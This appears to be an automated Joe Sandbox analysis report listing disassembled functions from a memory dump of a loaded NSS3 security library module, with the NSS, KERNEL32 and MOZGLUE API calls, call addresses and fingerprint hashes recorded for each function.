Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C6BCE40

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

Part of subcall function 6C6BCEE0: PORT_ArenaMark_Util.NSS3(?,6C6BCD93,?), ref: 6C6BCEEE
Part of subcall function 6C6BCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C6BCD93,?), ref: 6C6BCEFC
Part of subcall function 6C6BCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C6BCD93,?), ref: 6C6BCF0B
Part of subcall function 6C6BCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C6BCD93,?), ref: 6C6BCF1D

Part of subcall function 6C6BCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF47
Part of subcall function 6C6BCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF67
Part of subcall function 6C6BCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C6BCD93,?,?,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF78

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 77e3f55a0fa3dae1c62a8cb82c379bdcb217c792d9a5b2673b7e61187cc50e0c
Instruction ID: df4060638b9dfed6918a95f45276fd06404caec0ee5e3a7fd7dc208a94e18b80
Opcode Fuzzy Hash: 77e3f55a0fa3dae1c62a8cb82c379bdcb217c792d9a5b2673b7e61187cc50e0c
Instruction Fuzzy Hash: C451B3B6A00105ABE710DF69DC40B9A77E4EF48348F250524E946B7B40EB31EA26CB99

Function 6C6CFFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6C6CFFE5

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6D0004
PR_EnterMonitor.NSS3(?), ref: 6C6D001B

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 6a47e24bc0e28269a45094143fabbac56a4322610f1a8ede83c67aa0a26e3e21
Instruction ID: e1df66cdfdcff840337f6f3681ef08d2f3bf5822fdea135648fcba63fcc0ea7e
Opcode Fuzzy Hash: 6a47e24bc0e28269a45094143fabbac56a4322610f1a8ede83c67aa0a26e3e21
Instruction Fuzzy Hash: 0D419770608680DBE7308A69DC557EB73A1EB8130CF55043DE45BCBE90E3B9B449C78A

Function 6C68EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C68EF38

Part of subcall function 6C679520: PK11_IsLoggedIn.NSS3(00000000,?,6C6A379E,?,00000001,?), ref: 6C679542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C68EF53

Part of subcall function 6C694C20: TlsGetValue.KERNEL32 ref: 6C694C4C
Part of subcall function 6C694C20: EnterCriticalSection.KERNEL32(?), ref: 6C694C60
Part of subcall function 6C694C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CA1
Part of subcall function 6C694C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C694CBE
Part of subcall function 6C694C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CD2
Part of subcall function 6C694C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694D3A

PR_GetCurrentThread.NSS3 ref: 6C68EF9E

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

free.MOZGLUE(00000000), ref: 6C68EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C68F016
free.MOZGLUE(00000000), ref: 6C68F022

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 193e45471585095125124e0e9b92efe8fd013fe64773360420aa67faf0aa62ef
Instruction ID: 6273c486a7b59ef7c815cb76326d4a6e881225dcd703cd0e19cbf82bb2cd628d
Opcode Fuzzy Hash: 193e45471585095125124e0e9b92efe8fd013fe64773360420aa67faf0aa62ef
Instruction Fuzzy Hash: BC41B2B1E0120AAFDF018FA9DC44BEE7BB9AF49348F144025F914A6350E772C9158BB9

Function 6C67CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C67CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C67D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C67D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67D025
PR_NewLock.NSS3 ref: 6C67D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C67D074

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: b23781599df550cda2372c8b9a2b65f543ad1cbd4405802384db8e309a6b7860
Instruction ID: 79ea88b1fcbb8423cd0d8289845fd35db8351fd1248ed1845f97c588f3ae3957
Opcode Fuzzy Hash: b23781599df550cda2372c8b9a2b65f543ad1cbd4405802384db8e309a6b7860
Instruction Fuzzy Hash: C641E3B0A013019FDF20DF29C88878A7BE4EF08358F10596ADC198BB46D774D885CBB9

Function 6C6C3FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C3FF2

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C4001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6C6C400F

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6C6C4054

Part of subcall function 6C65BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C65BC24
Part of subcall function 6C65BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C65BC39
Part of subcall function 6C65BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C65BC58
Part of subcall function 6C65BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C65BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6C4070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6C6C40CD

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 85cb7722eb0d43e6c1125bf58762c9f1fb40480b9f6c4d0355d9e319e4c27fe6
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 8A31C8B2F4034597EB00DF649D81BBA3364EF9170CF144225ED099B742FB71E96883AA

Function 6C662E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C652D1A), ref: 6C662E7E

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

PR_Now.NSS3 ref: 6C662EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C662EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C652D1A), ref: 6C662F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C652D1A), ref: 6C662F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C662F81

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 6b07c725085597f8747be8f02724ca0978570fab7e286339c927f80b8baa832b
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: CA31F3715411008BE710C657CC88BAEB365EF81358F64497AD42AA7ED0EB31988AC75F

Function 6C650E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C650A2C), ref: 6C650E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C650A2C), ref: 6C650E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C650A2C), ref: 6C650E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C650A2C), ref: 6C650E90
free.MOZGLUE(00000000), ref: 6C650EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C650A2C), ref: 6C650ED9

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: b42e53ac7ee77110eb8c45b4cd58700397d176c9b4692362ba96b9ccd07ee72f
Instruction ID: b54aa62a423b8e2f24136349cc35f578237e9facc757e54bbac3f2cfb7fd2587
Opcode Fuzzy Hash: b42e53ac7ee77110eb8c45b4cd58700397d176c9b4692362ba96b9ccd07ee72f
Instruction Fuzzy Hash: 2D216E73F0028557EB0049669C45BAB76AEDFC270CFB94435D81863A02FA70C83783AA

Function 6C65AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C65AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C65AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C779500), ref: 6C65AF23

Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C6AF0C8
Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6AF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65AF37

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: aa0b69d19508e017992ee436edc047c13a3ceb2722508d6493ee90bb48e1864c
Instruction ID: 76d532f6dcbbb6a60217a3de15781c23c83e5a06c9322c4e4e5371c539a706b7
Opcode Fuzzy Hash: aa0b69d19508e017992ee436edc047c13a3ceb2722508d6493ee90bb48e1864c
Instruction Fuzzy Hash: 56213AB19092006BEB108F18DC41BAA7BE4AF8572CF644319FC54AB782E732D51587BF

Function 6C6DEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6DEE85
realloc.MOZGLUE(4F39410B,?), ref: 6C6DEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C6DEEC5

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

htonl.WSOCK32(?), ref: 6C6DEEE3
htonl.WSOCK32(00000000,?), ref: 6C6DEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C6DEF01

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: b5986fb3c061f71d80fb6bf1c7899f0a1a922aff16bf67deae3f716e92876cab
Instruction ID: c935de0a551343cf15088d4e7650486b74cf4b0846231a25548422a6cf3a3da1
Opcode Fuzzy Hash: b5986fb3c061f71d80fb6bf1c7899f0a1a922aff16bf67deae3f716e92876cab
Instruction Fuzzy Hash: 7021D371A002159FCF109F28DC8479AB7A4EF89358F158179EC199B641E730FC15CBEA

Function 6C68EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C68EE49

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C68EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C68EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C68EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C68EEB3

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: e078dbc3a9a7fec5d4538e76caa6fecef3a4990a4c6f1ee1541df9b13bf24d4b
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 112157BAA002146BEB108F58DC85EAB77A8EF06708F040564FE049B302E771DC15C7FA

Function 6C657F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C657F68

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C657F7B

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C657FA7

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C77919C,?), ref: 6C657FBB

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C657FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6C77915C,00000014), ref: 6C657FFE

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 7c80116befb4ab5bd66cefca500d98078af11813fb09b1da8ffaddcae76cb2e9
Instruction ID: 7c203b54db82ad3a88a40cc6c6df7f62eeea3152c088f7e93030573c2ee79624
Opcode Fuzzy Hash: 7c80116befb4ab5bd66cefca500d98078af11813fb09b1da8ffaddcae76cb2e9
Instruction Fuzzy Hash: 591157B1D042086AE710DA25AD44FBB72ACDF4564CF500629FC59D2B41F721A968C2BE

Function 6C65BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C6DDC29,?), ref: 6C65BE64

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C6DDC29,?), ref: 6C65BE78

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C6DDC29,?), ref: 6C65BE96

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

